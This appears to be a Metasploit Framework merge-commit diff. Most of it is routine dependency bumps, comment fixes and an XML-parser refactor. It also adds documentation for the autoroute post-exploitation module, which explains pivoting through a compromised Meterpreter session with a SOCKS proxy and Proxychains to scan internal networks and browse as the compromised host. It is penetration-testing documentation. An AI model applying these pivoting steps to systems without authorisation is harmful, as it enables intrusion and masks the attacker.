Merge branch 'master' into staging/rails-upgrade
commit
fb5b228984
21
Gemfile.lock
21
Gemfile.lock
|
@ -81,7 +81,7 @@ GIT
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.21)
|
||||
metasploit-framework (4.11.24)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -93,7 +93,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.1.6)
|
||||
metasploit-payloads (= 1.1.8)
|
||||
metasploit_data_models
|
||||
msgpack
|
||||
network_interface
|
||||
|
@ -155,7 +155,7 @@ GEM
|
|||
thor (~> 0.19)
|
||||
bcrypt (3.1.11)
|
||||
builder (3.2.2)
|
||||
capybara (2.7.0)
|
||||
capybara (2.7.1)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
|
@ -166,7 +166,7 @@ GEM
|
|||
ffi (~> 1.0, >= 1.0.11)
|
||||
choice (0.2.0)
|
||||
coderay (1.1.1)
|
||||
contracts (0.13.0)
|
||||
contracts (0.14.0)
|
||||
cucumber (2.3.3)
|
||||
builder (>= 2.1.2)
|
||||
cucumber-core (~> 1.4.0)
|
||||
|
@ -205,7 +205,7 @@ GEM
|
|||
loofah (2.0.3)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.2)
|
||||
metasploit-payloads (1.1.6)
|
||||
metasploit-payloads (1.1.8)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.0)
|
||||
mime-types-data (~> 3.2015)
|
||||
|
@ -213,7 +213,7 @@ GEM
|
|||
mini_portile2 (2.0.0)
|
||||
minitest (5.8.4)
|
||||
msgpack (0.7.5)
|
||||
multi_json (1.11.2)
|
||||
multi_json (1.11.3)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
network_interface (0.0.1)
|
||||
|
@ -226,7 +226,7 @@ GEM
|
|||
network_interface (~> 0.0)
|
||||
pcaprub (~> 0.12)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.1)
|
||||
pcaprub (0.12.4)
|
||||
pg (0.18.4)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
|
@ -246,7 +246,7 @@ GEM
|
|||
activesupport (>= 4.2.0.beta, < 5.0)
|
||||
nokogiri (~> 1.6.0)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-erd (1.4.6)
|
||||
rails-erd (1.4.7)
|
||||
activerecord (>= 3.2)
|
||||
activesupport (>= 3.2)
|
||||
choice (~> 0.2.0)
|
||||
|
@ -260,7 +260,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (11.1.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.19)
|
||||
recog (2.0.20)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rkelly-remix (0.0.6)
|
||||
|
@ -331,3 +331,6 @@ DEPENDENCIES
|
|||
timecop
|
||||
yard
|
||||
yard-metasploit-erd!
|
||||
|
||||
BUNDLED WITH
|
||||
1.11.2
|
||||
|
|
|
@ -28,7 +28,7 @@ File.readlines(sitelist).each do |site|
|
|||
next if site =~ /^#/
|
||||
|
||||
out = File.join(output, site + ".txt")
|
||||
File.unlink(out) if File.exists?(out)
|
||||
File.unlink(out) if File.exist?(out)
|
||||
|
||||
fd = File.open(out, "a")
|
||||
|
||||
|
|
|
@ -89,7 +89,6 @@ code {
|
|||
}
|
||||
pre {
|
||||
display: block;
|
||||
padding: 16px;
|
||||
margin: 0 0 18px;
|
||||
line-height: 16px;
|
||||
font-size: 13px;
|
||||
|
@ -139,7 +138,6 @@ pre code {
|
|||
border-style: solid;
|
||||
border-width: 1px;
|
||||
border-color: #ccc;
|
||||
padding: 5px;
|
||||
}
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,121 @@
|
|||
## Overview
|
||||
|
||||
This module is used to add routes associated with the specified Meterpreter session to Metasploit's routing table. These routes can be used to pivot to private networks and resources that can be accessed by the compromised machine. This module can search for routes and add them automatically. Routes can also be added manually, deleted, or displayed.
|
||||
|
||||
## CMD Options
|
||||
This module has several command "CMD" options that are used to control the module's behavior.
|
||||
|
||||
### autoadd
|
||||
This is the default behavior for this module. When this CMD option is used, the module searches the compromised machine's routing table and network interface list looking for networks that the machine can access. Once found, the module automatically adds routes to the networks to Metasploit's routing table. Duplicate routes from new sessions are not added.
|
||||
|
||||
### add
|
||||
This CMD option is used to manually add routes to Metasploit's routing table. An IPv4 subnet and netmask (IPv4 or CIDR) are required to add routes manually. The session number of the Meterpreter session to run the module on is also required.
|
||||
|
||||
Subnet Example `set SUBNET 192.168.1.0`
|
||||
|
||||
Netmask Examples `set NETMASK 255.255.255.0` or `set NETMASK /24`
|
||||
|
||||
### delete
|
||||
This CMD option is used to remove a route from Metasploit's routing table. The IPv4 subnet and netmask (IPv4 or CIDR) of the route to be removed are required. The session number of the Meterpreter session to run the module on is also required. Use `route print` or the print CMD option to display the current Metasploit routing table.
|
||||
|
||||
### print
|
||||
This CMD option is used to display Metasploit's routing table. This option has the same functionality as the `route print` command.
|
||||
|
||||
### default
|
||||
This CMD option is used to add a default route to Metasploit's routing table that routes all TCP/IP traffic; not otherwise covered in other routes, through the specified session when pivoting.
|
||||
|
||||
**Use this option with caution.**
|
||||
|
||||
This option is useful in special situations. An example would be when the compromised host is using a full traffic VPN where the VPN server does the routing to private networks. In this case, the routing table of the compromised host would likely not have entries for these private networks. Adding a default route would push the routing off to the VPN server, and those networks would likely become accessible.
|
||||
|
||||
Additionally, the default route combined with a Socks proxy server and Proxychains can be used to browse the Internet as the compromised host. Instructions for this are below.
|
||||
|
||||
## Pivoting
|
||||
Once routes are established, Metasploit modules can access the IP range specified in the routes. Scans and exploits can be directed at machines that would otherwise be unreachable from the outside. For other applications to access the routes, a little bit more setup is necessary. This involves setting up the Socks4a Metasploit module and using Proxychains in conjunction with the other applications.
|
||||
|
||||
### Socks 4a Server Module Setup
|
||||
Metasploit can launch a Socks 4a Proxy server using the module: auxiliary/server/socks4a. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Below are the steps to initiate this module.
|
||||
|
||||
```
|
||||
use auxiliary/server/socks4a
|
||||
set SRVHOST 127.0.0.1
|
||||
set LPORT 1080
|
||||
exploit -j
|
||||
```
|
||||
|
||||
### Proxychains Setup
|
||||
First, make sure that you have Proxychains.
|
||||
|
||||
```
|
||||
sudo apt-get update
|
||||
sudo apt-get install proxychains
|
||||
```
|
||||
|
||||
Now edit the Proxychains configuration file located at /etc/proxychains.conf. Add the below line to the end of the file to set Proxychains to use the Socks 4a server that you just set up.
|
||||
|
||||
```
|
||||
socks4 127.0.0.1 1080
|
||||
```
|
||||
|
||||
Note: If there are other proxy entries in the configuration file, you may need to comment them out as they may interfere with proper routing.
|
||||
|
||||
### Using Proxychains
|
||||
Now you can combine Proxychains with other application like Nmap, Nessus, Firefox and more to scan or access machines and resources through the Metasploit routes. All you need to do is call proxychains before the needed application. No need to change the proxy settings in Firefox of Iceweasel.
|
||||
|
||||
|
||||
```
|
||||
$ proxychains firefox
|
||||
```
|
||||
|
||||
### Scanning
|
||||
For scanning with Nmap, Zenmap, Nessus and others, keep in mind that ICMP and UPD traffic cannot tunnel through the proxy. So you cannot perform ping or UDP scans.
|
||||
|
||||
For Nmap and Zenmap, the below example shows the commands can be used. It is best to be selective on ports to scan since scanning through the proxy tunnel can be slow.
|
||||
|
||||
```
|
||||
$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24
|
||||
```
|
||||
|
||||
### Combined With Default Route
|
||||
Using the default route option along with the Socks proxy and Proxychains, you can browse the internet as the compromised host. This is possible because adding a default route to a Meterpeter session will cause all TCP/IP traffic; that is not otherwise specified in Metasploit's routing table, to route through that session. This is easy to set up and test.
|
||||
|
||||
You need a Windows Meterpreter session on a host that has a different public IP address than your attacking machine.
|
||||
|
||||
First set up a default route for the Meterpreter session.
|
||||
|
||||
```
|
||||
meterpreter > run post/windows/manage/autoroute CMD=default
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```
|
||||
msf > use post/windows/manage/autoroute
|
||||
msf post(autoroute) > set SESSION session-id
|
||||
msf post(autoroute) > set CMD default
|
||||
msf post(autoroute) > exploit
|
||||
```
|
||||
|
||||
Then open Firefox or Iceweasel without invoking Proxychains.
|
||||
|
||||
```
|
||||
$ firefox
|
||||
```
|
||||
|
||||
Go to `www.ipchicken.com`
|
||||
|
||||
This displays your current public IP address. The one that is logged when you visit a website.
|
||||
|
||||
Now open Firefox or Iceweasel with Proxychains.
|
||||
|
||||
```
|
||||
$ proxychains firefox
|
||||
```
|
||||
|
||||
Go to `www.ipchicken.com`
|
||||
|
||||
Now you will see the public IP address of the compromised host. You are essentially using the compromised host as a proxy to browse the Internet.
|
||||
|
||||
**This does not guarantee anonymity! Your browser, and its setting may still give you away.**
|
||||
|
||||
|
|
@ -9,7 +9,7 @@ module Anemone
|
|||
def_delegators :@keys, :has_key?, :keys, :size
|
||||
|
||||
def initialize(file)
|
||||
File.delete(file) if File.exists?(file)
|
||||
File.delete(file) if File.exist?(file)
|
||||
@store = ::PStore.new(file)
|
||||
@keys = {}
|
||||
end
|
||||
|
|
|
@ -5,7 +5,7 @@ module Metasploit
|
|||
|
||||
# This class is responsible for taking datastore options from the snmp_login module
|
||||
# and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}.
|
||||
# This one has to be different from {credentialCollection} as it will only have a {Metasploit::Framework::Credential#public}
|
||||
# This one has to be different from credentialCollection as it will only have a {Metasploit::Framework::Credential#public}
|
||||
# It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy
|
||||
# module used. However, community Strings are now considered more to be public credentials than private ones.
|
||||
class CommunityStringCollection
|
||||
|
|
|
@ -18,10 +18,10 @@ module Metasploit
|
|||
# Module Methods
|
||||
#
|
||||
|
||||
# Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`.
|
||||
# Returns first configuration pathname from configuration_pathnames or the overridding `:path`.
|
||||
#
|
||||
# @param options [Hash{Symbol=>String}]
|
||||
# @option options [String] :path Path to use instead of first element of {configurations_pathnames}
|
||||
# @option options [String] :path Path to use instead of first element of configurations_pathnames
|
||||
# @return [Pathname] if configuration pathname exists.
|
||||
# @return [nil] if configuration pathname does not exist.
|
||||
def self.configurations_pathname(options={})
|
||||
|
|
|
@ -29,7 +29,7 @@ module Metasploit
|
|||
|
||||
# Returns the latest sid from MSP
|
||||
#
|
||||
# @param [Rex::Proto::Http::Response]
|
||||
# @param res [Rex::Proto::Http::Response]
|
||||
# @return [String] The session ID for MSP
|
||||
def get_sid(res)
|
||||
cookies = res.get_cookies
|
||||
|
@ -41,7 +41,7 @@ module Metasploit
|
|||
|
||||
# Returns the hidden inputs
|
||||
#
|
||||
# @param [Rex::Proto::Http::Response]
|
||||
# @param res [Rex::Proto::Http::Response]
|
||||
# @return [Hash] Input fields
|
||||
def get_hidden_inputs(res)
|
||||
found_inputs = {}
|
||||
|
|
|
@ -60,7 +60,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
# Attempt to login with every {Credential credential} in # {#cred_details}.
|
||||
# Attempt to login with every {Credential credential} in # #cred_details.
|
||||
#
|
||||
# @yieldparam result [Result] The {Result} object for each attempt
|
||||
# @yieldreturn [void]
|
||||
|
|
|
@ -42,7 +42,7 @@ module Metasploit::Framework::Spec::Constants
|
|||
# Adds actions to `spec` task so that `rake spec` fails if any of the following:
|
||||
#
|
||||
# # `log/leaked-constants.log` exists after printing out the leaked constants.
|
||||
# # {Each.configured!} is unnecessary in `spec/spec_helper.rb` and should be removed.
|
||||
# # Each.configured! is unnecessary in `spec/spec_helper.rb` and should be removed.
|
||||
#
|
||||
# @return [void]
|
||||
def self.define_task
|
||||
|
@ -96,4 +96,4 @@ module Metasploit::Framework::Spec::Constants
|
|||
|
||||
full_name
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -19,7 +19,7 @@ module Metasploit::Framework::Spec::Constants::Each
|
|||
attr_accessor :leaks_cleaned
|
||||
end
|
||||
|
||||
# Is {Metasploit::Framework::Spec::Constants::Each.configure!} still necessary or should it be removed?
|
||||
# Is Metasploit::Framework::Spec::Constants::Each.configure! still necessary or should it be removed?
|
||||
#
|
||||
# @return [true] if {configure!}'s `before(:each)` cleaned up leaked constants
|
||||
# @return [false] otherwise
|
||||
|
@ -91,7 +91,7 @@ module Metasploit::Framework::Spec::Constants::Each
|
|||
!!@configured
|
||||
end
|
||||
|
||||
# Adds action to `spec` task so that `rake spec` fails if {configured!} is unnecessary in `spec/spec_helper.rb` and
|
||||
# Adds action to `spec` task so that `rake spec` fails if configured! is unnecessary in `spec/spec_helper.rb` and
|
||||
# should be removed
|
||||
#
|
||||
# @return [void]
|
||||
|
@ -116,4 +116,4 @@ module Metasploit::Framework::Spec::Constants::Each
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,7 +6,7 @@ module Metasploit::Framework::Spec::Constants::Suite
|
|||
|
||||
LOGS_PATHNAME = Pathname.new('log/metasploit/framework/spec/constants/suite')
|
||||
|
||||
# Logs leaked constants to {LOG_PATHNAME} and prints `message` to stderr.
|
||||
# Logs leaked constants to LOG_PATHNAME and prints `message` to stderr.
|
||||
#
|
||||
# @param hook (see log_pathname)
|
||||
# @param message [String] additional message printed to stderr when there is at least one leaked constant.
|
||||
|
@ -116,4 +116,4 @@ module Metasploit::Framework::Spec::Constants::Suite
|
|||
|
||||
leaks
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by
|
||||
# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily.
|
||||
# Rex::ThreadFactory#spawn, which allows the threads used by {Msf::ThreadManager} to be created lazily.
|
||||
#
|
||||
# @example Setting Rex::ThreadFactory.provider and spawning threads
|
||||
# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework)
|
||||
|
@ -23,4 +23,4 @@ class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base
|
|||
def spawn(name, critical, *args, &block)
|
||||
framework.threads.spawn(name, critical, *args, &block)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.11.21"
|
||||
VERSION = "4.11.24"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -14,7 +14,7 @@ module Msf
|
|||
# the supplied module instance.
|
||||
#
|
||||
# @param mod [Msf::Module] the module to dump information for.
|
||||
# @param indent [String] the indentation to use.
|
||||
# @param _indent [String] the indentation to use.
|
||||
# @return [String] formatted text output of the dump.
|
||||
def self.dump_module(mod, _indent = "")
|
||||
case mod.type
|
||||
|
|
|
@ -471,7 +471,7 @@ class ReadableText
|
|||
def self.dump_references(mod, indent = '')
|
||||
output = ''
|
||||
|
||||
if (mod.respond_to? :references and mod.references and mod.references.length > 0)
|
||||
if (mod.respond_to?(:references) && mod.references && mod.references.length > 0)
|
||||
output << "References:\n"
|
||||
mod.references.each { |ref|
|
||||
output << indent + ref.to_s + "\n"
|
||||
|
@ -530,6 +530,7 @@ class ReadableText
|
|||
columns << 'Id'
|
||||
columns << 'Type'
|
||||
columns << 'Checkin?' if show_extended
|
||||
columns << 'Local URI' if show_extended
|
||||
columns << 'Information'
|
||||
columns << 'Connection'
|
||||
|
||||
|
@ -558,6 +559,12 @@ class ReadableText
|
|||
else
|
||||
row << '?'
|
||||
end
|
||||
|
||||
if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
|
||||
row << " (#{session.exploit_datastore['LURI']})"
|
||||
else
|
||||
row << '?'
|
||||
end
|
||||
end
|
||||
|
||||
row << sinfo
|
||||
|
@ -597,6 +604,7 @@ class ReadableText
|
|||
sess_type = session.type.to_s
|
||||
sess_uuid = session.payload_uuid.to_s
|
||||
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
|
||||
sess_luri = session.exploit_datastore['LURI'] || ""
|
||||
|
||||
sess_checkin = "<none>"
|
||||
sess_machine_id = session.machine_id.to_s
|
||||
|
@ -626,6 +634,9 @@ class ReadableText
|
|||
out << " MachineID: #{sess_machine_id}\n"
|
||||
out << " CheckIn: #{sess_checkin}\n"
|
||||
out << " Registered: #{sess_registration}\n"
|
||||
if !sess_luri.empty?
|
||||
out << " LURI: #{sess_luri}\n"
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
@ -678,6 +689,7 @@ class ReadableText
|
|||
if (verbose)
|
||||
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
|
||||
uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
|
||||
uripath = ctx[0].datastore['LURI'] if uripath.nil?
|
||||
row << (uripath || "")
|
||||
row << (framework.jobs[k].start_time || "")
|
||||
end
|
||||
|
|
|
@ -27,7 +27,7 @@ module Scriptable
|
|||
|
||||
# Scan all of the path combinations
|
||||
check_paths.each { |path|
|
||||
if ::File.exists?(path)
|
||||
if ::File.exist?(path)
|
||||
full_path = path
|
||||
break
|
||||
end
|
||||
|
|
|
@ -30,7 +30,7 @@ module Framework
|
|||
def load(path, opts = {})
|
||||
def_path = Msf::Config.plugin_directory + File::SEPARATOR + path
|
||||
|
||||
if (File.exists?(def_path) or File.exists?(def_path + ".rb"))
|
||||
if (File.exist?(def_path) or File.exist?(def_path + ".rb"))
|
||||
super(def_path, opts)
|
||||
else
|
||||
super
|
||||
|
|
|
@ -58,7 +58,6 @@ module Msf
|
|||
# Extract directories `engine.paths['modules']` from `engine`.
|
||||
#
|
||||
# @param engine [Rails::Engine] a rails engine or application
|
||||
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
|
||||
# @return [Array<String>] The list of module paths to load
|
||||
def extract_engine_module_paths(engine)
|
||||
engine.paths['modules'] ? engine.paths['modules'].existent_directories : []
|
||||
|
|
|
@ -49,7 +49,7 @@ module Auxiliary::AuthBrute
|
|||
@@max_per_service = nil
|
||||
end
|
||||
|
||||
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||
# Yields each Metasploit::Credential::Core in the Mdm::Workspace with
|
||||
# a private type of 'ntlm_hash'
|
||||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
|
@ -60,7 +60,7 @@ module Auxiliary::AuthBrute
|
|||
end
|
||||
end
|
||||
|
||||
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||
# Yields each Metasploit::Credential::Core in the Mdm::Workspace with
|
||||
# a private type of 'password'
|
||||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
|
@ -71,7 +71,7 @@ module Auxiliary::AuthBrute
|
|||
end
|
||||
end
|
||||
|
||||
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||
# Yields each Metasploit::Credential::Core in the Mdm::Workspace with
|
||||
# a private type of 'ssh_key'
|
||||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
|
@ -90,7 +90,7 @@ module Auxiliary::AuthBrute
|
|||
(datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
|
||||
end
|
||||
|
||||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
|
||||
# This method takes a Metasploit::Framework::CredentialCollection and prepends existing NTLMHashes
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
|
@ -105,7 +105,7 @@ module Auxiliary::AuthBrute
|
|||
cred_collection
|
||||
end
|
||||
|
||||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
|
||||
# This method takes a Metasploit::Framework::CredentialCollection and prepends existing SSHKeys
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] cred_collection
|
||||
|
@ -120,7 +120,7 @@ module Auxiliary::AuthBrute
|
|||
cred_collection
|
||||
end
|
||||
|
||||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials
|
||||
# This method takes a Metasploit::Framework::CredentialCollection and prepends existing Password Credentials
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
|
@ -135,9 +135,9 @@ module Auxiliary::AuthBrute
|
|||
cred_collection
|
||||
end
|
||||
|
||||
# Takes a {Metasploit::Credential::Core} and converts it into a
|
||||
# {Metasploit::Framework::Credential} and processes it into the
|
||||
# {Metasploit::Framework::CredentialCollection} as dictated by the
|
||||
# Takes a Metasploit::Credential::Core and converts it into a
|
||||
# Metasploit::Framework::Credential and processes it into the
|
||||
# Metasploit::Framework::CredentialCollection as dictated by the
|
||||
# selected datastore options.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
|
||||
|
|
|
@ -27,8 +27,8 @@ module Msf
|
|||
def build_probe
|
||||
@probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data
|
||||
# TODO: support QU vs QM probes
|
||||
# @probe[@probe.size-2] = [0x80].pack('C')
|
||||
# @probe
|
||||
#+ @probe[@probe.size-2] = [0x80].pack('C')
|
||||
#+ @probe
|
||||
end
|
||||
|
||||
def query_class
|
||||
|
|
|
@ -70,7 +70,7 @@ module Auxiliary::Report
|
|||
# This method safely get the workspace ID. It handles if the db is not active
|
||||
#
|
||||
# @return [NilClass] if there is no DB connection
|
||||
# @return [Fixnum] the ID of the current {Mdm::Workspace}
|
||||
# @return [Fixnum] the ID of the current Mdm::Workspace
|
||||
def myworkspace_id
|
||||
if framework.db.active
|
||||
myworkspace.id
|
||||
|
@ -169,7 +169,7 @@ module Auxiliary::Report
|
|||
# should be used directly instead.
|
||||
#
|
||||
# @param opts [Hash] the option hash
|
||||
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
|
||||
# @option opts [String] :host the address of the host (also takes a Mdm::Host)
|
||||
# @option opts [Fixnum] :port the port of the connected service
|
||||
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
|
||||
# @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")
|
||||
|
|
|
@ -229,7 +229,7 @@ module Msf::DBManager::Import
|
|||
end
|
||||
|
||||
# This is a text string, lets make sure its treated as binary
|
||||
data = data.unpack("C*").pack("C*")
|
||||
data.force_encoding(Encoding::ASCII_8BIT)
|
||||
if data and data.to_s.strip.length == 0
|
||||
raise Msf::DBImportError.new("The data provided to the import function was empty")
|
||||
end
|
||||
|
|
|
@ -66,31 +66,31 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
|
||||
# Imports `Mdm::Note` objects from the XML element.
|
||||
#
|
||||
# @param note [REXML::Element] The Note element
|
||||
# @param note [Nokogiri::XML::Element] The Note element
|
||||
# @param allow_yaml [Boolean] whether to allow yaml
|
||||
# @param note_data [Hash] hash containing note attributes to be passed along
|
||||
# @return [void]
|
||||
def import_msf_note_element(note, allow_yaml, note_data={})
|
||||
note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip)
|
||||
note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml))
|
||||
note_data[:type] = nils_for_nulls(note.at("ntype").text.to_s.strip)
|
||||
note_data[:data] = nils_for_nulls(unserialize_object(note.at("data"), allow_yaml))
|
||||
|
||||
if note.elements["critical"].text
|
||||
note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL"
|
||||
if note.at("critical").text
|
||||
note_data[:critical] = true unless note.at("critical").text.to_s.strip == "NULL"
|
||||
end
|
||||
if note.elements["seen"].text
|
||||
note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL"
|
||||
if note.at("seen").text
|
||||
note_data[:seen] = true unless note.at("critical").text.to_s.strip == "NULL"
|
||||
end
|
||||
%W{created-at updated-at}.each { |datum|
|
||||
if note.elements[datum].text
|
||||
note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip)
|
||||
if note.at(datum).text
|
||||
note_data[datum.gsub("-","_")] = nils_for_nulls(note.at(datum).text.to_s.strip)
|
||||
end
|
||||
}
|
||||
report_note(note_data)
|
||||
end
|
||||
|
||||
# Imports web_form element using {Msf::DBManager#report_web_form}.
|
||||
# Imports web_form element using Msf::DBManager#report_web_form.
|
||||
#
|
||||
# @param element [REXML::Element] web_form element.
|
||||
# @param element [Nokogiri::XML::Element] web_form element.
|
||||
# @param options [Hash{Symbol => Object}] options
|
||||
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
|
||||
# deserializing params.
|
||||
|
@ -115,7 +115,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
# FIXME https://www.pivotaltracker.com/story/show/46578647
|
||||
# FIXME https://www.pivotaltracker.com/story/show/47128407
|
||||
unserialized_params = unserialize_object(
|
||||
element.elements['params'],
|
||||
element.at('params'),
|
||||
options[:allow_yaml]
|
||||
)
|
||||
info[:params] = nils_for_nulls(unserialized_params)
|
||||
|
@ -124,9 +124,9 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
end
|
||||
end
|
||||
|
||||
# Imports web_page element using {Msf::DBManager#report_web_page}.
|
||||
# Imports web_page element using Msf::DBManager#report_web_page.
|
||||
#
|
||||
# @param element [REXML::Element] web_page element.
|
||||
# @param element [Nokogiri::XML::Element] web_page element.
|
||||
# @param options [Hash{Symbol => Object}] options
|
||||
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
|
||||
# deserializing headers.
|
||||
|
@ -162,7 +162,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
# FIXME https://www.pivotaltracker.com/story/show/46578647
|
||||
# FIXME https://www.pivotaltracker.com/story/show/47128407
|
||||
unserialized_headers = unserialize_object(
|
||||
element.elements['headers'],
|
||||
element.at('headers'),
|
||||
options[:allow_yaml]
|
||||
)
|
||||
info[:headers] = nils_for_nulls(unserialized_headers)
|
||||
|
@ -171,9 +171,9 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
end
|
||||
end
|
||||
|
||||
# Imports web_vuln element using {Msf::DBManager#report_web_vuln}.
|
||||
# Imports web_vuln element using Msf::DBManager#report_web_vuln.
|
||||
#
|
||||
# @param element [REXML::Element] web_vuln element.
|
||||
# @param element [Nokogiri::XML::Element] web_vuln element.
|
||||
# @param options [Hash{Symbol => Object}] options
|
||||
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
|
||||
# deserializing headers.
|
||||
|
@ -209,7 +209,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
# FIXME https://www.pivotaltracker.com/story/show/46578647
|
||||
# FIXME https://www.pivotaltracker.com/story/show/47128407
|
||||
unserialized_params = unserialize_object(
|
||||
element.elements['params'],
|
||||
element.at('params'),
|
||||
options[:allow_yaml]
|
||||
)
|
||||
info[:params] = nils_for_nulls(unserialized_params)
|
||||
|
@ -232,314 +232,325 @@ module Msf::DBManager::Import::MetasploitFramework::XML
|
|||
wspace = args[:wspace] || workspace
|
||||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
|
||||
doc = rexmlify(data)
|
||||
metadata = check_msf_xml_version!(doc)
|
||||
doc = Nokogiri::XML::Reader.from_memory(data)
|
||||
metadata = check_msf_xml_version!(doc.first.name)
|
||||
allow_yaml = metadata[:allow_yaml]
|
||||
btag = metadata[:root_tag]
|
||||
|
||||
doc.elements.each("/#{btag}/hosts/host") do |host|
|
||||
host_data = {}
|
||||
host_data[:task] = args[:task]
|
||||
host_data[:workspace] = wspace
|
||||
|
||||
# A regression resulted in the address field being serialized in some cases.
|
||||
# Lets handle both instances to keep things happy. See #5837 & #5985
|
||||
addr = nils_for_nulls(host.elements["address"])
|
||||
next unless addr
|
||||
|
||||
# No period or colon means this must be in base64-encoded serialized form
|
||||
if addr !~ /[\.\:]/
|
||||
addr = unserialize_object(addr)
|
||||
end
|
||||
|
||||
host_data[:host] = addr
|
||||
if bl.include? host_data[:host]
|
||||
next
|
||||
else
|
||||
yield(:address,host_data[:host]) if block
|
||||
end
|
||||
host_data[:mac] = nils_for_nulls(host.elements["mac"].text.to_s.strip)
|
||||
if host.elements["comm"].text
|
||||
host_data[:comm] = nils_for_nulls(host.elements["comm"].text.to_s.strip)
|
||||
end
|
||||
%W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum|
|
||||
if host.elements[datum].text
|
||||
host_data[datum.gsub('-','_')] = nils_for_nulls(host.elements[datum].text.to_s.strip)
|
||||
doc.each do |node|
|
||||
unless node.inner_xml.empty?
|
||||
case node.name
|
||||
when 'host'
|
||||
parse_host(Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, &block)
|
||||
when 'web_site'
|
||||
parse_web_site(Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, &block)
|
||||
when 'web_page', 'web_form', 'web_vuln'
|
||||
